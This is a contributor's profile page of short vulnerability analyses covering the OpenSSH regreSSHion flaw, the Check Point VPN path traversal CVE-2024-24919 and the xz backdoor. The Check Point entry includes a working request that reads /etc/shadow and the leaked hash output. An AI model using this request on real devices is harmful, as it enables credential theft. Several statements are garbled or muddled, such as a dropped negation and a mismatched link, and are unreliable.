SeanWrightFeat (10)
Last Login: September 30, 2024
SeanWrightFeat's Latest (4) Contributions
Technical Analysis
While this vulnerability is interesting, and it certainly has the potential for immense damage and harm, the reality is far more nuanced. The difficulty in exploiting this vulnerability is significant, and will likely have to generate a lot of noise from the attacker. It takes a matter of hours (the quickest to date has been around 4 hours under lab conditions) to successfully exploit, which a lot of traffic and noise that for the most part will not go unnoticed if an organisation has the appropriate monitoring in place.
In addition, this is a not vulnerable on numerous LTS base Operating Systems such as:
- RHEL (and thus CentOS) 6, 7, 8 (https://access.redhat.com/security/cve/CVE-2024-6387)
- Ubuntu bionic, focal, trusty (https://access.redhat.com/security/cve/CVE-2024-6387)
Technical Analysis
This is trivial to exploit. The vulnerability at its core is a directory traversal vulnerability that allows for full access to files on the Check Point VPN device/service. It also appears that this an unauthenticated vulnerability and given that these servers will by their very nature be publicly exposed, significantly increases the risk of this vulnerability.
Exploit
The exploit itself, as mentioned above is trivial to exploit. An example is shown on https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/:
Request
POST /clients/MyCRL HTTP/1.1 Host: <redacted> Content-Length: 39 aCSHELL/../../../../../../../etc/shadow
Response
HTTP/1.0 200 OK Date: Thu, 30 May 2024 01:38:29 GMT Server: Check Point SVN foundation Content-Type: text/html X-UA-Compatible: IE=EmulateIE7 Connection: close X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 505 admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8::: monitor:*:19872:0:99999:8::: root:*:19872:0:99999:7::: nobody:*:19872:0:99999:7::: postfix:*:19872:0:99999:7::: rpm:!!:19872:0:99999:7::: shutdown:*:19872:0:99999:7::: pcap:!!:19872:0:99999:7::: halt:*:19872:0:99999:7::: cp_postgres:*:19872:0:99999:7::: cpep_user:*:19872:0:99999:7::: vcsa:!!:19872:0:99999:7::: _nonlocl:*:19872:0:99999:7::: sshd:*:19872:0:99999:7:::
Using this, an attacker would be able to gain access to sensitive data on the server, such as the configuration for the VPN service.
Technical Analysis
The backdoor is present in versions 5.6.0 and 5.6.1.
This one has gained significant attention over the past few days. To date, there is has been observation that this backdoor was ever leveraged, and it will be unlikely to do so now, given the attention that it has received.
From a Technical perspective, this one was difficult to detect and prevent since the payload was loaded and executed in memory (as part of the SSHD process). The backdoor allowed remote code to be executed via the SSH process, making it even harder to detect.
This backdoor was only discovered by chance, by a Microsoft developer at Microsoft, Andres Freund. Andres was investigating a performance issue in SSH (which was caused by the backdoor), and then stumbled upon the backdoor. Details of which can be found on their post: https://www.openwall.com/lists/oss-security/2024/03/29/4. Also worth noting that the backdoor was not introduced into the code of xz, but rather the binaries. This means if you built the binaries from source, you did not include the backdoor.
What @noraj said! If successfully exploited, it almost likely gives root access to the system which is about as good as it gets for an attacker. But the effort required to do so is significant, making the chances of successful exploitation very low. So from a risk perspective (risk = impact * likelihood), where the impact (attacker value) is incredibly high, but the likelihood (exploitability) is very low, putting it at about medium risk.